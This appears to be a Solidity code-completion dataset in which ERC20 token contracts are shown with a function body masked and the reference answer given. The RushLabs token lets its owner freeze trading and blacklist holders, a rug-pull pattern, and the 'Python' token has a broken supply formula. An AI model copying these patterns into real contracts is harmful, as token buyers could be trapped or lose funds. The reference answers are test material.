spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
totalSupply = 120000000000 * 1 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = 120000000000; // Give the creator all initial tokens name = 'Python'; // Set the name for display purposes symbol = 'ptn'; // Set the symbol for display purposes
constructor( ) public
/** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( ) public
15679
RushLabs
manualswap
contract RushLabs is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _feeAddr1 = 0; uint256 public _feeAddr2 = 20; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "RushLabs"; string private constant _symbol = "RUSH"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8); _feeAddrWallet2 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(tradingOpen || from == uniswapV2Pair || from == owner() || to == owner() || from == address(this) || to == address(this), "not able to trade"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), ~uint256(0)); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner { require(_maxTxPercent <= 10000, "!max tx percent"); _maxTxAmount = _tTotal.mul(_maxTxPercent).div(10000); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external {<FILL_FUNCTION_BODY> } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setTradingOpen(bool _tradingOpen) external onlyOwner { tradingOpen = _tradingOpen; } }
contract RushLabs is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _feeAddr1 = 0; uint256 public _feeAddr2 = 20; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "RushLabs"; string private constant _symbol = "RUSH"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8); _feeAddrWallet2 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(tradingOpen || from == uniswapV2Pair || from == owner() || to == owner() || from == address(this) || to == address(this), "not able to trade"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), ~uint256(0)); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner { require(_maxTxPercent <= 10000, "!max tx percent"); _maxTxAmount = _tTotal.mul(_maxTxPercent).div(10000); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} <FILL_FUNCTION> function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setTradingOpen(bool _tradingOpen) external onlyOwner { tradingOpen = _tradingOpen; } }
require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance);
function manualswap() external
function manualswap() external
43924
ERC20Token
null
contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) {<FILL_FUNCTION_BODY> } }
contract ERC20Token is Context, ERC20 { <FILL_FUNCTION> }
_createContract(creator, initialSupply);
constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator)
constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator)
10231
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
45072
Spendcoin
transferFrom
contract Spendcoin is ERC20Interface, Tokenlock { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Spendcoin() public { symbol = "SPND"; name = "Spendcoin"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Do accept ETH // ------------------------------------------------------------------------ function () public payable { } // ------------------------------------------------------------------------ // Owner can withdraw ether if token received. // ------------------------------------------------------------------------ function withdraw() public onlyOwner returns (bool result) { address tokenaddress = this; return owner.send(tokenaddress.balance); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract Spendcoin is ERC20Interface, Tokenlock { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Spendcoin() public { symbol = "SPND"; name = "Spendcoin"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Do accept ETH // ------------------------------------------------------------------------ function () public payable { } // ------------------------------------------------------------------------ // Owner can withdraw ether if token received. // ------------------------------------------------------------------------ function withdraw() public onlyOwner returns (bool result) { address tokenaddress = this; return owner.send(tokenaddress.balance); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
58841
Authorizable
setAuthorized
contract Authorizable is Ownable { mapping(address => bool) public authorized; event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization); /** * @dev The Authorizable constructor sets the first `authorized` of the contract to the sender * account. */ function Authorizable() public { authorized[msg.sender] = true; } /** * @dev Throws if called by any account other than the authorized. */ modifier onlyAuthorized() { require(authorized[msg.sender]); _; } /** * @dev Allows the current owner to set an authorization. * @param addressAuthorized The address to change authorization. */ function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract Authorizable is Ownable { mapping(address => bool) public authorized; event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization); /** * @dev The Authorizable constructor sets the first `authorized` of the contract to the sender * account. */ function Authorizable() public { authorized[msg.sender] = true; } /** * @dev Throws if called by any account other than the authorized. */ modifier onlyAuthorized() { require(authorized[msg.sender]); _; } <FILL_FUNCTION> }
AuthorizationSet(addressAuthorized, authorization); authorized[addressAuthorized] = authorization;
function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public
/** * @dev Allows the current owner to set an authorization. * @param addressAuthorized The address to change authorization. */ function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public
77986
Pausable
unpause
contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused {<FILL_FUNCTION_BODY> } }
contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } <FILL_FUNCTION> }
_paused = false; emit Unpaused(_msgSender());
function unpause() public onlyPauser whenPaused
/** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused
78235
Name
null
contract Name is TAO { /** * @dev Constructor function */ constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress) TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {<FILL_FUNCTION_BODY> } }
contract Name is TAO { <FILL_FUNCTION> }
// Creating Name typeId = 1;
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress) TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public
/** * @dev Constructor function */ constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress) TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public
85395
Basic23Token
transfer
contract Basic23Token is Utils, ERC23Basic, BasicToken { /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred * @param _data is arbitrary data sent with the token transferFrom. Simulates ether tx.data * @return bool successful or not */ function transfer(address _to, uint _value, bytes _data) public validAddress(_to) notThis(_to) greaterThanZero(_value) returns (bool success) {<FILL_FUNCTION_BODY> } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public validAddress(_to) notThis(_to) greaterThanZero(_value) returns (bool success) { return transfer(_to, _value, new bytes(0)); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public validAddress(_owner) constant returns (uint256 balance) { return super.balanceOf(_owner); } //function that is called when transaction target is a contract function contractFallback(address _origin, address _to, uint _value, bytes _data) internal returns (bool success) { ERC23Receiver reciever = ERC23Receiver(_to); return reciever.tokenFallback(msg.sender, _origin, _value, _data); } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) internal returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } }
contract Basic23Token is Utils, ERC23Basic, BasicToken { <FILL_FUNCTION> /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public validAddress(_to) notThis(_to) greaterThanZero(_value) returns (bool success) { return transfer(_to, _value, new bytes(0)); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public validAddress(_owner) constant returns (uint256 balance) { return super.balanceOf(_owner); } //function that is called when transaction target is a contract function contractFallback(address _origin, address _to, uint _value, bytes _data) internal returns (bool success) { ERC23Receiver reciever = ERC23Receiver(_to); return reciever.tokenFallback(msg.sender, _origin, _value, _data); } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) internal returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } }
